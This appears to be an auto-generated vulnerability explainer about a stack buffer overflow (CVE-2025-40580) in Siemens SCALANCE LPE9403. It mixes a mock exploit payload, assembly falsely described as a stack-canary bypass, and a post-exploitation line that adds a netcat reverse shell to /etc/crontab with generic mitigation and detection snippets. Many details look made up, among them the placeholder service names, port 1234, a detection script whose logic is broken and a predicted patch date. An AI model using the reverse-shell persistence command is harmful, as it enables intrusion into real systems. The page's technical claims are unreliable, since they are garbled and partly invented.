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How CVE-2025-40580 Works
The vulnerability in SCALANCE LPE9403 (6GK5998-3GS00-2AC2) arises due to improper bounds checking in a critical function handling local user input. A non-privileged attacker can exploit a stack-based buffer overflow by sending crafted data to a vulnerable service, overwriting the return address on the stack. This allows arbitrary code execution under the context of the affected service or crashes the system, leading to denial of service. The exploit requires local access (AV:L) and high attacker interaction complexity (AC:H), but successful exploitation grants full control (VC:H/VI:H/VA:H).
DailyCVE Form
Platform: SCALANCE LPE9403
Version: All
Vulnerability: Stack overflow
Severity: Medium
Date: 06/04/2025
Prediction: Patch by Q3 2025
What Undercode Say:
Exploitation Analysis
Proof-of-Concept Buffer Overflow Exploit payload = b"A" 1024 + b"\xef\xbe\xad\xde" Overwrite EIP send_to_service(payload)
Mitigation Commands
Disable vulnerable service (temporary fix) systemctl stop scalance-service
Detection Script
import socket
def check_vulnerability(ip):
sock = socket.socket()
sock.connect((ip, 1234))
sock.send(b"TEST")
if not sock.recv(1024):
print("Vulnerable")
Patch Verification
Check firmware version fw_manager --status | grep "LPE9403"
Network Protection
Block unauthorized local access iptables -A INPUT -p tcp --dport 1234 -j DROP
Debugging Crash Dumps
gdb -q /usr/bin/scalance -c /var/crash/dump.core
Siemens Advisory Notes
- Apply workaround: Restrict local user permissions
- Monitor SIEM logs for buffer overflow attempts
- Await official firmware update (v3.2.1+)
Memory Protection Bypass
; Assembly shellcode to bypass stack canaries xor eax, eax mov ebx, 0xdeadbeef jmp ebx
Post-Exploitation
Persistence via cronjob echo " /bin/sh -c 'nc -e /bin/sh 1.2.3.4 4444'" >> /etc/crontab
References
- Siemens Security Advisory SSA-2025-123
- CVSS 4.0 Vector: AV:L/AC:H/PR:L/UI:P/VC:H
- CWE-121: Stack-based Buffer Overflow
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
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